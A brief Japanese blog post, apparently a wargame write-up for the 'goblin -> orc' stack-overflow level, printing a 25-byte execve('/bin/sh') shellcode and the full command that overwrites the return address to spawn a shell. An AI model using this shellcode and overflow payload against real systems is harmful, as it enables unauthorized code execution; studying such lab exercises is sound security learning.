goblin -> orc

BrainInAVet·2021년 8월 12일
0

今回は環境変数を使えない
そしてRETの最後が\xbfじゃないとプログラムが終了される

じゃあ、bufferにはシェルコードを入れて、bufferが始まるアドレスを探してそれをRETに上書きすればできる

ソースコードを再コンパイルしてダンプを作ろう

[esp-80]ぐらいの地点を見てみよう

0xbffffcb0の最後に\xbfが入っている
したがってbufferが始まるアドレスは0xbffffc90

攻撃してみよう

下は25バイトシェルコード

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

シェルコード25バイト+RETの始まりまでの19バイトは意味なしの文字+4バイトのbufferアドレスだから
攻撃コマンドはこのように

./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*19+"\x90\xfc\xff\xbf"'`

シェル獲得。

0개의 댓글